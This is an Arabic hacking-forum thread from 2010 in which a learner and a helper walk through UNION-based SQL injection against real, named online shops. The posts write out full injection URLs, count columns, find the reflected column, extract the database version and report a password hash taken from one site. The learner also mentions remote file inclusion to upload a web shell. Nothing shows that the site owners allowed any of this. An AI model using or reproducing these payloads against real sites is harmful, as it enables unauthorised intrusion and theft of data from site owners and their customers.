استفسار الدرس الرابع.

newuser · 10-01-2010, 04:32 AM

السلام عليكم.

شباب انا حملت الدروس.

ولاكن وصلت لمشكله .

احد المواقع لقيته مصاب بالـSQL وهذا الرابط

http://www.sharghishop.net/zcat.php?id=1

بعد اضافه ' يعطيك خطا يعني الموقع مصاب.

ولآكن عندما نضع رقم 6 هكذا
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,5,6--

يعطيك رابط صوره. والصوره مش باينه.

يعني الموقع حامي حالو.

______________________

ننتقل لموقع ثاني. وهذا الرابط
http://www.cdbaran.com/zcat.php?id=1

اذا اضفنا ' بيعطيك
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 393

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 394

يعني مش معقوله بكتب 300 سطر .

مثلا 1,2,3,4,5,6,7,8,9,10,11,12,13 صعبه تكتبها لتوصل لـ300

ماهو الحل.

___________

وهذا موقع اخر كل ما تضيف عمود بيعطيك نفس الرساله وهي

The used SELECT statements have a different number of columns

والرابط:
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29--

_________________

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC hsjtshv hg]vs hgvhfu>

خالد سعودي · 10-01-2010, 06:15 AM

newuser
هلا فيك
بنسبة لي الموقع هذا عندك عدد الاعمدة خطا

newuser · 10-01-2010, 06:53 AM

يعطيك العافيه خالد.

اي موقع انا حاط 3 روابط كل واحد غير عن الثاني

مع الشكر.

خالد سعودي · 10-01-2010, 07:16 AM

يعطيك العافيه خالد.

اي موقع انا حاط 3 روابط كل واحد غير عن الثاني

مع الشكر.

newuser

هلا فيك
بنسبة لي الموقع

هذا عندك عدد الاعمدة خطا

كود PHP:

  http://www.cdbaran.com/zcat.php?id=-1 UNION SELECT 1,2,44444444444,5,6--

لي العمود لصحيح يحب عليه التغير في الرقم
كمل على الموقع تشوف في نصف الصفحة 44444444444
يحب عليك التركيز
في نهاية يطلع هذا
beb0f24b92d23784fd7b62d74bed47d8d0e345da85e64f77c 15b833901f14d65
انا حولت فك في MD5 ولكن ماضبط معي

يالله نكمل الموقع الثاني

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,5,6--

عندك خطا في عدد الاعمده يكون عدد الاعمده 5
يصبح الرابط الصحيح كذا

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,4,5--

بس هنا ابيك تركز معي في الصفحة ولارقام بقوم بتغيررقم 3 اوكي
يصبح كذا

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,333333,5,6--

تفتح معاك الصفحة مافي اي مشكلة بس ابيك تروح لي نصف الصفحة عرض معلومات الصفحة شوف وركز رقم 3 تغير صح
فاهمت على
للتاكيد
اصدار القاعدة بدل في رقم 3
version()
هذا الرابط

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,

version(),4,5--

اصدار القاعدة
5.0.51

ونهاية احب اشكر الله سبحانه وتعالي وشكر ادارة المنتدي وعلى دوراتهم الناحجة
ارجو التقييم
مع السلامة
موفق

newuser · 10-01-2010, 07:50 AM

يعطيك العافيه خالد.

معليش تعبناك.

خل المواقع الي فوق كلها.

ونشوف الموقع هذا.

http://www.sharghishop.net/zcat.php?id=1

عرفنا ان عدد اللاعمده خمسه بالامر order+by

ولاكن اذا حطينا الجمله هذي

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5--

وحطينا عدد الاعمده الـ5

يعطيك رساله خطا ولا يبين لك الاعمده المصابه.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select 1,2,3,4,5--' at line 1

كل الشكر لك وللمنتدى لما يقدمونه لتقدم الهكر العرب.

newuser · 10-01-2010, 08:22 AM

هذا موقع اخر.
http://www.cdvdcenter.com/zcat.php?id=1

عرفنا عدد الاعمده 5

ولآكن اذا كتبناها يعطيك مسج خطا.

كود:

http://www.cdvdcenter.com/zcat.php?id=-1+union+select+1,2,3,4,5--

كود PHP:

  The used SELECT statements have a different number of columns

خالد سعودي · 10-01-2010, 04:08 PM

يعطيك العافيه خالد.

معليش تعبناك.

خل المواقع الي فوق كلها.

ونشوف الموقع هذا.

http://www.sharghishop.net/zcat.php?id=1

عرفنا ان عدد اللاعمده خمسه بالامر order+by

ولاكن اذا حطينا الجمله هذي

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5--

وحطينا عدد الاعمده الـ5

يعطيك رساله خطا ولا يبين لك الاعمده المصابه.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select 1,2,3,4,5--' at line 1

ولايهمك ياغالي حاضرين

ابي ترجع الدورة الموجود مرة مريتن وثلاث بيك تخفظها من اسمك عشان تفهم حلو تسهل عليك

واناشرح لك فوق لو كانت مركز
طيب معلينا

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5

تقول الموقع هذا عرفنا عدد الاعمدة حلو هو 5 على طول نستخدم الامر
UNION SELECT
لي ظاهر العمود المصاب
هذا الرابط الاول
http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5
عندك خطا هنا في الحقن (...ct) مدري من وين جبتها هذا او ل مره اشوفه اذكان له فايدة انا لاعلم فيها
ركز

كود PHP:

  http://www.sharghishop.net/zcat.php?id=1

ابيك تضيف UNION SELECT + او مسافه بعد رقم واحد ولاتنسى علامة - بعد علامة يسوي بعدها تضيف 1,2,3,4,5 في نهايه الحقن علامة -- اوكي وصلتك الفكره
يصبح الرابط

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 UNION SELECT 1,2,3,4,5--

امممم الرساله لي تطلع لك
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
يقولك خطا في الموقع sql
حلو

انت هنا 100%100

كود PHP:

  http://www.cdvdcenter.com/zcat.php?id=-1+union+select+1,2,3,4,5--

يطلع المسج
The used SELECT statements have a different number of columns

انت معليك من المسج انت عليك تبحث عن العمود المصاب
تركز في الصفحة 100%تبحث تشوف ممكن المبرمج مخفي العمود
مثل
الان تفتح معاك الصفحة واناشرح لك فوق
مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
مكتوب 3 :: Sharghishop.com :: يعني رقم3 هو العمودالمصاب لي نكمل عليه الحقن
نفس لي في الصورة

للتاكيد
استخرح اصدار القاعدة بدل في رقم 3
version()
هذا الرابط

كود PHP:

  http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,

version(),4,5--

مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
تغير صح طلع اصدار القاعدة

newuser · 10-02-2010, 07:07 AM

:d معليش تعبناك ياخالد.

كلآمك صحيح .

يعني الخطاء عندي اني ما ضغطت عرض خصائص الصفحه

طيب طلبنا الاصدار وعطانا .

5.0.51a-community :: Sharghishop.com ::

وش الخطوه الثانيه.

ياخي السكيول متعبه وخايسه.

يازين الريموت فايل انلكود ارفع الشل واشتغل.

خخخ.

كل الشكر.

خالد سعودي · 10-02-2010, 11:24 PM

newuser
لا عادي ولايهمك يمكن انت تابع الدورات لي في المنتدي في قسم الدورات تستفيد كثير
ولكن انا بسالك
فايل انلكود في موقع مصاب وكم نسبة اناسالت واحد يقول الان نسبة قليله وانا والله ماعلم
انا في نتظارك

newuser · 10-03-2010, 04:56 AM

يعطيك العافيه اخ خالد.

الحقيقه صحيح الثغره زي مايقلون انقرضه.

وقليل المواقع المصابه او نادر.

خالد سعودي · 10-06-2010, 05:26 AM

بارك الله فيك مشكور ياغالي

Straw Hat · 03-12-2014, 07:56 AM

شكراااااااااااااااااااا

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
الدرس الرابع (النماذج)	SoLiTair4Ever	برمجة الويب	2	11-06-2010 05:42 PM
تطبيق على الدرس الرابع من الدورة	MasTer MiND	Hackers Showoff	5	07-24-2009 12:26 AM
الدرس الرابع عشر(العمليات الرياضية)	SoLiTair4Ever	برمجة الويب	0	07-19-2009 11:29 PM

استفسار الدرس الرابع.

جـــ'ابات العناكــ'ب